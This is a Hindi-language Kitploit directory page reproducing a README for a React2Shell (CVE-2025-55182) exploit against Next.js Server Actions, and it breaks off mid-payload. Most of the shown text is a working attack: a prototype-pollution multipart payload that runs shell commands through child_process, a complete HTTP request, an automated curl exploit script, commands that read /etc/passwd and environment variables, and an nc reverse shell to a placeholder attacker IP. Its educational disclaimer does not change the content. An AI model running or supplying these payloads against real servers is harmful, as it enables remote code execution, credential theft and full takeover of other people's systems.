Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
react2shell-exploit — CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, एक गंभीर कमजोरी है जो React Server Components (RSC) और Server Actions का उपयोग करने वाले Next.js अनुप्रयोगों को प्रभावित करती है। | Kitploit
उपकरण/GitHubGitHub/yannisduvignau/react2shell-exploit
शोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, एक गंभीर कमजोरी है जो React Server Components (RSC) और Server Actions का उपयोग करने वाले Next.js अनुप्रयोगों को प्रभावित करती है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
रिपॉजिटरी देखें
114 महीने पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2025-55182 – React2Shell

Next.js में रिमोट कोड एक्जीक्यूशन

⚠️ अस्वीकृति: यह दस्तावेज़ केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध इन तकनीकों का कोई अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है।


📋 विषय सूची

  1. अवलोकन
  2. यह कैसे काम करता है
  3. स्थापना और सेटअप
  4. चरण-दर-चरण शोषण
  5. परिणाम और प्रभाव
  6. शमन रणनीतियाँ

अवलोकन

CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, Next.js एप्लिकेशनों को प्रभावित करने वाली एक गंभीर कमजोरी है जो उपयोग करते हैं:

  • React सर्वर घटक (RSC)
  • सर्वर क्रियाएँ

यह खतरनाक क्यों है?

एक हमलावर निम्नलिखित का शोषण करके सर्वर पर रिमोट कोड एक्जीक्यूशन (RCE) प्राप्त कर सकता है:

  1. RSC पेलोड का असुरक्षित डिसीरियलाइज़ेशन
  2. __proto__ और constructor के माध्यम से प्रोटोटाइप प्रदूषण
  3. Next.js सर्वर रनटाइम में डायनामिक निष्पादन पथ

परिणाम: Node.js प्रक्रिया के विशेषाधिकारों के साथ मनमानी सिस्टम कमांड निष्पादित की जा सकती हैं।


यह कैसे काम करता है

चरण 1: Next.js RSC प्रोटोकॉल

Next.js क्लाइंट और सर्वर के बीच संचार के लिए एक मालिकाना मल्टीपार्ट/फॉर्म-डेटा प्रोटोकॉल का उपयोग करता है:

  • क्लाइंट सर्वर को React सर्वर घटक भेजता है
  • सर्वर उन्हें डिसीरियलाइज़ और प्रोसेस करता है
  • परिणाम क्लाइंट को वापस आता है
क्लाइंट (ब्राउज़र)
    ↓
[मल्टीपार्ट/फॉर्म-डेटा RSC पेलोड]
    ↓
Next.js सर्वर
    ↓
डिसीरियलाइज़ेशन + निष्पादन
    ↓
प्रतिक्रिया

चरण 2: कमज़ोरी - असुरक्षित डिसीरियलाइज़ेशन

कमज़ोरी इसलिए मौजूद है क्योंकि:

  1. उपयोगकर्ता-नियंत्रित डेटा डिसीरियलाइज़ेशन से पहले मान्य नहीं किया जाता
  2. प्रोटोटाइप श्रृंखला तक पहुँच की अनुमति है (__proto__, constructor)
  3. अनुरोध प्रसंस्करण के दौरान कुछ फ़ील्ड का डायनामिक मूल्यांकन किया जाता है

चरण 3: प्रोटोटाइप प्रदूषण हमला

एक हमलावर एक पेलोड तैयार कर सकता है जो आंतरिक ऑब्जेक्ट गुणों को संशोधित करता है:

{
  "then": "$1:__proto__:then",  // प्रोटोटाइप श्रृंखला को लक्षित करता है
  "_response": {
    "_prefix": "malicious code here"  // कोड इंजेक्शन
  }
}

__proto__ का शोषण करके, हमलावर जावास्क्रिप्ट ऑब्जेक्ट के प्रोटोटाइप को प्रदूषित करता है, जो उससे प्राप्त सभी ऑब्जेक्ट को प्रभावित करता है।

चरण 4: कोड इंजेक्शन

_prefix फ़ील्ड के अंदर, हमलावर जावास्क्रिप्ट कोड इंजेक्ट करता है जो:

  1. process.mainModule.require() के माध्यम से Node.js मॉड्यूल तक पहुँचता है
  2. child_process मॉड्यूल लोड करता है
  3. execSync() का उपयोग करके सिस्टम कमांड निष्पादित करता है
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

चरण 5: परिणाम निष्कर्षण

कमांड का परिणाम त्रुटि प्रतिक्रिया में छिपा होता है:

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js यह त्रुटि क्लाइंट को लौटाता है, और कमांड आउटपुट digest फ़ील्ड में दिखाई देता है।


स्थापना और सेटअप

पूर्वापेक्षाएँ

  • Node.js 20
  • Burp Suite (या अनुरोध अवरोधन के लिए समान उपकरण)
  • curl या Postman (पेलोड भेजने के लिए)

चरण 1: कमजोर सर्वर को क्लोन और स्थापित करें

# PoC को क्लोन करें
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Node.js 20 स्थापित करें
nvm install 20
nvm use 20

# निर्भरताएँ स्थापित करें
cd test-server
npm install

चरण 2: सर्वर प्रारंभ करें

npm run dev

सर्वर अब यहाँ उपलब्ध है:

http://localhost:3000

चरण 3: सर्वर चल रहा है इसे सत्यापित करें

curl http://localhost:3000/

इस चरण में, सर्वर सामान्य रूप से व्यवहार करता है।


चरण-दर-चरण शोषण

दृष्टिकोण 1: Burp Suite का उपयोग करना (मैन्युअल अवरोधन)

चरण 1: अवरोधन सक्षम करें

  1. Burp Suite खोलें
  2. Proxy → Intercept टैब पर जाएँ
  3. Intercept is on सक्षम करें
  4. अपने ब्राउज़र में http://localhost:3000/ तक पहुँचें

चरण 2: अनुरोध को अवरोधित करें

एक GET अनुरोध अवरोधित किया जाएगा। इसे Repeater टैब पर भेजें:

  1. राइट-क्लिक → Send to Repeater
  2. Repeater टैब पर जाएँ

चरण 3: दुर्भावनापूर्ण पेलोड से बदलें

पूरे अनुरोध को निम्नलिखित पेलोड से बदलें:

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

चरण 4: अनुरोध भेजें

Send पर क्लिक करें


दृष्टिकोण 2: स्वचालित शोषण स्क्रिप्ट

एक फ़ाइल exploit.sh बनाएँ:

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# पेलोड बनाएँ
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# कमांड बदलें
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# अनुरोध भेजें
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

इसे निष्पादन योग्य बनाएँ:

chmod +x exploit.sh
./exploit.sh

उदाहरण कमांड

फ़ाइलें और निर्देशिकाएँ सूचीबद्ध करें

COMMAND="ls -la /"

वर्तमान उपयोगकर्ता प्राप्त करें

COMMAND="whoami"

एक फ़ाइल पढ़ें

COMMAND="cat /etc/passwd"

नेटवर्क कनेक्शन जाँचें

COMMAND="netstat -tuln"

पर्यावरण चर प्राप्त करें

COMMAND="env"

रिवर्स शेल (पूर्ण सर्वर पहुँच)

पूर्ण इंटरैक्टिव शेल पहुँच प्राप्त करने के लिए, रिवर्स शेल का उपयोग करें।

हमलावर मशीन पर: कनेक्शन के लिए सुनें

ncat -lvnp 9009

या netcat के साथ:

nc -lvnp 9009

लक्ष्य पर: रिवर्स शेल पेलोड भेजें

निम्नलिखित कमांड के साथ पेलोड को संशोधित करें (<ATTACKER_IP> को अपने IP पते से बदलें):

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

पूरा पेलोड इस प्रकार हो जाता है:

POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
टूल डाउनलोड करें